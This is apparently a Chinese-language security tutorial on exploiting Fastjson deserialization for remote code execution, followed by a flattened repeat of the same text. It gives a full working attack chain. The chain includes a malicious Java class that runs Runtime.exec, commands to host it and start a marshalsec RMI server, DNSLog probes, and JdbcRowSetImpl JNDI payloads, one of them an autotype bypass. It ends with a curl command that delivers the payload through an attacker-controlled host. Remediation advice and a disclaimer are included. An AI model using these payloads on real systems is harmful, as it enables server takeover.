小记一次Fastjson漏洞利用
字数 1953 2025-09-23 19:27:46

Fastjson 反序列化漏洞利用教学文档

1. 漏洞概述

Fastjson是阿里巴巴开源的一个高性能JSON处理库(Java语言)。该库在历史上存在多个反序列化远程代码执行(RCE)漏洞。攻击者通过精心构造恶意的JSON请求,可以诱使服务端在反序列化过程中加载并执行任意Java代码,从而完全控制服务器。

核心漏洞原理:Fastjson在反序列化时,其autotype等特性允许指定任意类名,并自动调用该类的setter方法、构造函数或特定getter方法。通过利用JNDI(Java Naming and Directory Interface)注入等技术,可以加载远程恶意类文件,最终实现RCE。

2. 关键漏洞点与利用条件

  1. 目标环境:使用存在漏洞版本的Fastjson(例如 <= 1.2.24, <= 1.2.47 等经典版本)的Java Web应用。
  2. 触发点:任何接收JSON数据并调用JSON.parse()JSON.parseObject()方法进行解析的接口。
  3. 出网条件:目标服务器需要能够访问由攻击者控制的远程LDAP/RMI服务(即能出网),以下载恶意class文件。

3. 利用步骤详解

步骤一:环境准备 (攻击者侧)

  1. 编译恶意Java类
    创建一个Java类,静态代码块或构造函数中包含要执行的命令。

    // EvilObject.java
    import java.lang.Runtime;
    import java.lang.Process;
    
    public class EvilObject {
        public EvilObject(){
            try {
                Runtime rt = Runtime.getRuntime();
                String[] commands = {"touch", "/tmp/success"}; // 示例命令:创建一个文件
                Process pc = rt.exec(commands);
                pc.waitFor();
            } catch (Exception e) {
                // do nothing
            }
        }
    }
    

    使用javac EvilObject.java编译,生成EvilObject.class文件。

  2. 搭建恶意HTTP服务
    将生成的EvilObject.class文件放在一个目录下,并在该目录启动一个HTTP服务,确保class文件可通过URL访问(如 http://your-vps-ip:8000/EvilObject.class)。

    python3 -m http.server 8000
    
  3. 搭建恶意JNDI服务
    使用开源工具(如 marshalsec)启动一个恶意的RMI或LDAP服务,该服务会指向你的HTTP服务。

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://your-vps-ip:8000/#EvilObject" 1099
    

步骤二:漏洞探测与验证

向可疑的API端点发送精心构造的JSON数据包,根据响应判断是否存在漏洞。

  1. DNSLog探测(无害)
    使用java.net.InetAddress类触发DNS查询,验证漏洞存在且目标可出网。

    {
      "@type": "java.net.Inet4Address",
      "val": "your-dnslog-domain.dnslog.cn"
    }
    

    或者使用java.net.InetAddress

    {
      "@type": "java.net.InetAddress",
      "val": "your-dnslog-domain.dnslog.cn"
    }
    

    观察你的DNSLog平台是否有解析记录。

  2. 报错回显探测
    如果应用开启报错回显,可以发送无效的或触发异常的内容,通过报错信息判断是否使用Fastjson。

    {"x": "a"
    

    典型的Fastjson报错会包含com.alibaba.fastjson.JSONException等字样。

步骤三:构造利用Payload

确认漏洞存在后,构造最终的RCE Payload。Payload的核心是利用Fastjson的autotype机制,通过JNDI注入加载远程恶意类。

经典Payload (Fastjson <= 1.2.24)

{
  "@type": "com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName": "rmi://your-vps-ip:1099/EvilObject",
  "autoCommit": true
}

高版本绕过Payload (例如 Fastjson <= 1.2.47)
高版本限制了autotype。可以利用其缓存机制进行绕过。

{
  "@type": "java.lang.Class",
  "val": "com.sun.rowset.JdbcRowSetImpl"
},
{
  "@type": "com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName": "ldap://your-vps-ip:1389/EvilObject",
  "autoCommit": true
}

步骤四:发送Payload并执行

使用curl、Burp Suite等工具,向目标URL发送POST请求,Content-Type为application/json,Body为上述构造的JSON Payload。

示例curl命令

curl -X POST \
  -H "Content-Type: application/json" \
  -d '{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://your-vps-ip:1099/EvilObject","autoCommit":true}' \
  "http://target-url.com/api/endpoint"

4. 漏洞修复与防御建议

  1. 升级Fastjson:立即升级到最新安全版本(目前最新安全版本 > 1.2.83)。
  2. 关闭autotype:在启动参数或代码中设置ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
  3. 使用安全白名单:如果必须使用autotype,应配置addAccept()方法设置严格的白名单。
  4. 网络层面:在网络边界限制服务器不必要的出网访问。
  5. WAF防护:部署WAF设备或规则,对请求中的@typeJdbcRowSetImplrmi://ldap://等关键词进行过滤。

5. 补充说明

  • 不出网利用:如果目标服务器无法出网,利用难度极大。可能需要寻找存在危险代码或构造链的本地类(如TemplatesImpl)进行利用,构造过程更为复杂。
  • 工具化:此漏洞已有成熟的工具化利用方案,例如fastjson_tool.jarJNDI-Injection-Exploit等,可以自动化完成漏洞探测和利用。

免责声明:本文档仅用于安全研究与教学目的,旨在帮助用户了解漏洞原理并采取有效防护措施。请勿将其用于任何非法或未授权的测试活动。

Fastjson 反序列化漏洞利用教学文档 1. 漏洞概述 Fastjson是阿里巴巴开源的一个高性能JSON处理库(Java语言)。该库在历史上存在多个反序列化远程代码执行(RCE)漏洞。攻击者通过精心构造恶意的JSON请求,可以诱使服务端在反序列化过程中加载并执行任意Java代码,从而完全控制服务器。 核心漏洞原理 :Fastjson在反序列化时,其 autotype 等特性允许指定任意类名,并自动调用该类的 setter 方法、构造函数或特定getter方法。通过利用JNDI(Java Naming and Directory Interface)注入等技术,可以加载远程恶意类文件,最终实现RCE。 2. 关键漏洞点与利用条件 目标环境 :使用存在漏洞版本的Fastjson(例如 <= 1.2.24, <= 1.2.47 等经典版本)的Java Web应用。 触发点 :任何接收JSON数据并调用 JSON.parse() 或 JSON.parseObject() 方法进行解析的接口。 出网条件 :目标服务器需要能够访问由攻击者控制的远程LDAP/RMI服务(即能出网),以下载恶意class文件。 3. 利用步骤详解 步骤一:环境准备 (攻击者侧) 编译恶意Java类 : 创建一个Java类,静态代码块或构造函数中包含要执行的命令。 使用 javac EvilObject.java 编译,生成 EvilObject.class 文件。 搭建恶意HTTP服务 : 将生成的 EvilObject.class 文件放在一个目录下,并在该目录启动一个HTTP服务,确保class文件可通过URL访问(如 http://your-vps-ip:8000/EvilObject.class )。 搭建恶意JNDI服务 : 使用开源工具(如 marshalsec )启动一个恶意的RMI或LDAP服务,该服务会指向你的HTTP服务。 步骤二:漏洞探测与验证 向可疑的API端点发送精心构造的JSON数据包,根据响应判断是否存在漏洞。 DNSLog探测(无害) : 使用 java.net.InetAddress 类触发DNS查询,验证漏洞存在且目标可出网。 或者使用 java.net.InetAddress : 观察你的DNSLog平台是否有解析记录。 报错回显探测 : 如果应用开启报错回显,可以发送无效的或触发异常的内容,通过报错信息判断是否使用Fastjson。 典型的Fastjson报错会包含 com.alibaba.fastjson.JSONException 等字样。 步骤三:构造利用Payload 确认漏洞存在后,构造最终的RCE Payload。Payload的核心是利用Fastjson的 autotype 机制,通过JNDI注入加载远程恶意类。 经典Payload (Fastjson <= 1.2.24) : 高版本绕过Payload (例如 Fastjson <= 1.2.47) : 高版本限制了 autotype 。可以利用其缓存机制进行绕过。 步骤四:发送Payload并执行 使用curl、Burp Suite等工具,向目标URL发送POST请求,Content-Type为 application/json ,Body为上述构造的JSON Payload。 示例curl命令 : 4. 漏洞修复与防御建议 升级Fastjson :立即升级到最新安全版本(目前最新安全版本 > 1.2.83)。 关闭autotype :在启动参数或代码中设置 ParserConfig.getGlobalInstance().setAutoTypeSupport(false); 。 使用安全白名单 :如果必须使用autotype,应配置 addAccept() 方法设置严格的白名单。 网络层面 :在网络边界限制服务器不必要的出网访问。 WAF防护 :部署WAF设备或规则,对请求中的 @type 、 JdbcRowSetImpl 、 rmi:// 、 ldap:// 等关键词进行过滤。 5. 补充说明 不出网利用 :如果目标服务器无法出网,利用难度极大。可能需要寻找存在危险代码或构造链的本地类(如 TemplatesImpl )进行利用,构造过程更为复杂。 工具化 :此漏洞已有成熟的工具化利用方案,例如 fastjson_tool.jar 、 JNDI-Injection-Exploit 等,可以自动化完成漏洞探测和利用。 免责声明 :本文档仅用于安全研究与教学目的,旨在帮助用户了解漏洞原理并采取有效防护措施。请勿将其用于任何非法或未授权的测试活动。